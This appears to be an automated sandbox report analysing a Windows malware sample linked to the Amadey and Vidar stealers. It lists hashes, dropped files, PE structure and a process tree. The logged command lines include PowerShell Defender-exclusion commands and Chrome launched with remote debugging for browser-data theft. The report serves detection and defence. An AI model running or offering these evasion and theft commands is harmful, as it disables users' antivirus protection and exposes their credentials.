MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.391558472844732
Encrypted:	false
SSDEEP:
MD5:	E0E49FF4E3D6242687CD793C34A9FD9E
SHA1:	D65A234B8D06D7D10009F5671E7AE13EC7D9A49C
SHA-256:	45020471EC44BD7CA712D35ACD9B854FB451AC1F7080C35A2F709DDA78857343
SHA-512:	859159425228A6D809BC3735B8234646AE731F489C9BE387B04D5DE7E98A42875D1D96BDD4702A81D34408F8307D2B5CC13496BEC55ADBC2563AB6C0A5645F72
Malicious:	false
Reputation:	unknown
Preview:	......b...kN..E.....F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1058336
Entropy (8bit):	6.827880169201504
Encrypted:	false
SSDEEP:
MD5:	971B0519B1C0461DB6700610E5E9CA8E
SHA1:	9A262218310F976AAF837E54B4842E53E73BE088
SHA-256:	47CF75570C1ECA775B2DD1823233D7C40924D3A8D93E0E78C943219CF391D023
SHA-512:	D234A9C5A1DA8415CD4D2626797197039F2537E98F8F43D155F815A7867876CBC1BF466BE58677C79A9199EA47D146A174998D21EF0AEBC29A4B0443F8857CB9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w.m..........."...0......(........... ........@.. ....................... ............`.................................K...O....... %.............. r..........p...T............................................ ............... ..H............text........ ...................... ..`.rsrc... %.......&..................@..@.reloc..............................@..B........................H........7................................................................{8.....{9.....{:.....{;.....{<.....{=.....{>.....{?.....{@.....{A.....{B....0..\........(C.....}8.....}9.....}:......};......}<......}=......}>......}?......}@......}A......}B....0...........u.......;.....9....(D....{8....{8...oE...9....(F....{9....{9...oG...9....(H....{:....{:...oI...9....(J....{;....{;...oK...9....(L....{<....{<...oM...9....(N....{=....{=...oO...,w(P....{>....{>...oQ...,_(

C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	147968
Entropy (8bit):	6.454649285943866
Encrypted:	false
SSDEEP:
MD5:	CC36E2A5A3C64941A79C31CA320E9797
SHA1:	50C8F5DB809CFEC84735C9F4DCD6B55D53DFD9F5
SHA-256:	6FEC179C363190199C1DCDF822BE4D6B1F5C4895EBC7148A8FC9FA9512EEADE8
SHA-512:	FCEA6D62DC047E40182DC4FF1E0522CA935F9AEEFDB1517957977BC5D9AC654285A973261401F3B98ABF1F6ED62638B9E31306FD7AAEB67214CA42DFC2888AF0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ag.....................`....................@...........................#.............................................(................................p#.........................................\............................................text...x........................... ....rdata...1.......2..................@..@.data....!!..0......................@....00cfg.......`#......*..............@..@.reloc.......p#......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Reputation:	unknown
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.653494758841172
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'269'120 bytes
MD5:	1790b57cfe11d52a447cb53b7632e0d9
SHA1:	3e4eb8d73efbe3ba55fbb61c8a0cfda695e302ef
SHA256:	09b5590de6b345c0c942426b23309b24e5504a692f408a8353de5fbf38986761
SHA512:	a313ee1313aa77c1174af8a753eb82e23380247d1f915a1c6615bb553306732cbd30717ec37bf755c7e40520623ec4d81bb67942fd6a9f310568d0385b4996dd
SSDEEP:	49152:AC5ecDgoqWFmKbjvQk5Nr2eXR7UaLqxHND9KqaC:BecDg3WFmKbjvQk5F2khUYq1J9Kqa
TLSH:	5BE53A916404B5CBC84E2274D697DF47996D43BA87200CC3A879747ABDE3ECA31B6C6C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x71f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F61C11D9D8Ah
xadd byte ptr [ecx], dh
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31d3e0	0x10	ifzwduwo
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31d390	0x18	ifzwduwo
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	20119469120416fcd5c4246cd210aec4	False	0.5602863018329327	data	7.171287246787944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ifzwduwo	0x6b000	0x2b3000	0x2b2400	5a74c749f9c872e94a3a188d42ed348f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kyfineaz	0x31e000	0x1000	0x400	7332cdef15143ffa79e8656e541c7ee0	False	0.7548828125	data	5.866490211880733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31f000	0x3000	0x2200	558f9ff6a56448ae8fdfcbe9fb59c96b	False	0.06364889705882353	DOS executable (COM)	0.7922330695821049	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	10:14:00
Start date:	21/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x260000
File size:	3'269'120 bytes
MD5 hash:	1790B57CFE11D52A447CB53B7632E0D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:14:04
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc0000
File size:	3'269'120 bytes
MD5 hash:	1790B57CFE11D52A447CB53B7632E0D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:14:05
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc0000
File size:	3'269'120 bytes
MD5 hash:	1790B57CFE11D52A447CB53B7632E0D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:15:00
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc0000
File size:	3'269'120 bytes
MD5 hash:	1790B57CFE11D52A447CB53B7632E0D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	10:15:18
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe"
Imagebase:	0x6f0000
File size:	4'478'464 bytes
MD5 hash:	1F26197A5239ABD7C93B7DC95C79F102
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:15:26
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe"
Imagebase:	0xb90000
File size:	1'374'720 bytes
MD5 hash:	669ED3665495A4A52029FF680EC8EBA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2750094261.00000000036D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2715417561.00000000036CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2745554337.00000000036CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 28%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:15:31
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe"
Imagebase:	0x680000
File size:	22'016 bytes
MD5 hash:	04F57C6FB2B2CD8DCC4B38E4A93D4366
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 57%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:15:31
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:15:33
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt"
Imagebase:	0x90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:15:33
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:15:37
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0x90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:15:37
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:15:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe"
Imagebase:	0xf50000
File size:	4'509'184 bytes
MD5 hash:	8D602240D09A31565069442E5D207E5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:15:49
Start date:	21/12/2024
Path:	C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe
Wow64 process (32bit):	true
Commandline:	"C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe"
Imagebase:	0x400000
File size:	147'968 bytes
MD5 hash:	CC36E2A5A3C64941A79C31CA320E9797
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:15:49
Start date:	21/12/2024
Path:	C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe
Wow64 process (32bit):	false
Commandline:	"C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe"
Imagebase:	0x24720cf0000
File size:	1'058'336 bytes
MD5 hash:	971B0519B1C0461DB6700610E5E9CA8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:15:51
Start date:	21/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	10:15:52
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe"
Imagebase:	0x400000
File size:	1'929'728 bytes
MD5 hash:	248AD0B12FF980668CCCEFE81E4BEEAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	10:16:01
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:16:04
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2452,i,6832538450347870675,15529709356732568208,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:16:05
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe"
Imagebase:	0x7ff6eef20000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 87%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	10:16:07
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff6621b0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:16:08
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2088,i,14124230610741043506,9399832751077093261,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:16:12
Start date:	21/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff77d3a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	10:16:12
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	10:16:13
Start date:	21/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff721e70000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:16:13
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x870000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:16:14
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x870000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:16:14
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe"
Imagebase:	0xe0000
File size:	1'846'272 bytes
MD5 hash:	3D5CED88E35789A074807DD040AC05E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3404178194.00000000010ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:16:17
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:16:19
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2452,i,3932887190901628609,13787986242964853943,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

